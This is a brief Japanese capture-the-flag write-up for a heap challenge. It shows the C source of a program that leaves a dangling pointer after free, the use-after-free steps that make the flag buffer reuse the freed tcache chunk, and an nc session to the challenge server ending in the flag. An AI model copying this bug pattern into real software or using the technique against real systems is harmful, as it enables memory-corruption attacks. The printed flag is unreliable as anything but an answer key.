問題
void menu() {
puts("1. allocate");
puts("2. free");
puts("3. read");
puts("4. allocate flag");
}
int main(void) {
FILE *f_ptr = fopen("/flag.txt","r");
if (f_ptr == NULL) {
puts("open flag.txt failed. please open a ticket");
exit(1);
}
fseek(f_ptr,0,SEEK_END);
long f_sz = ftell(f_ptr);
printf("file information: %ld bytes\\n",f_sz);
fseek(f_ptr,0,SEEK_SET);
menu();
while(1) {
int choice;
printf("choice> ");
scanf("%d%*c",&choice);
switch(choice) {
case 1: {
printf("size> ");
int size;
scanf("%d%*c",&size);
item = malloc(size);
printf("[DEBUG] item: %p\\n",item);
}
break;
case 2: {
assert(item != NULL);
free(item);
//item == NULL;
}
break;
case 3: {
assert(item != NULL);
puts(item);
}
break;
case 4: {
char *flag = malloc(f_sz);
printf("[DEBUG] flag: %p\\n",flag);
fgets(flag,f_sz,f_ptr);
}
break;
default: {
exit(0);
}
}
}
TL;DR
解法
1. allocate で size を f_sz と同じ(32)にして item を確保
2. free でそれを解放
4. allocate flag で同サイズを malloc → 直前にfreeしたチャンクが再利用される(tcache)
- そのチャンクにフラグが読み込まれる
3. read の puts(item) で フラグが表示される
ソルバ
# nc 34.170.146.252 31651
file information: 32 bytes
1. allocate
2. free
3. read
4. allocate flag
choice> 1
size> 32
[DEBUG] item: 0x5593c764d490
choice> 2
choice> 4
[DEBUG] flag: 0x5593c764d490
3choice>
Alpaca{dive_into_heap_23af5b4f}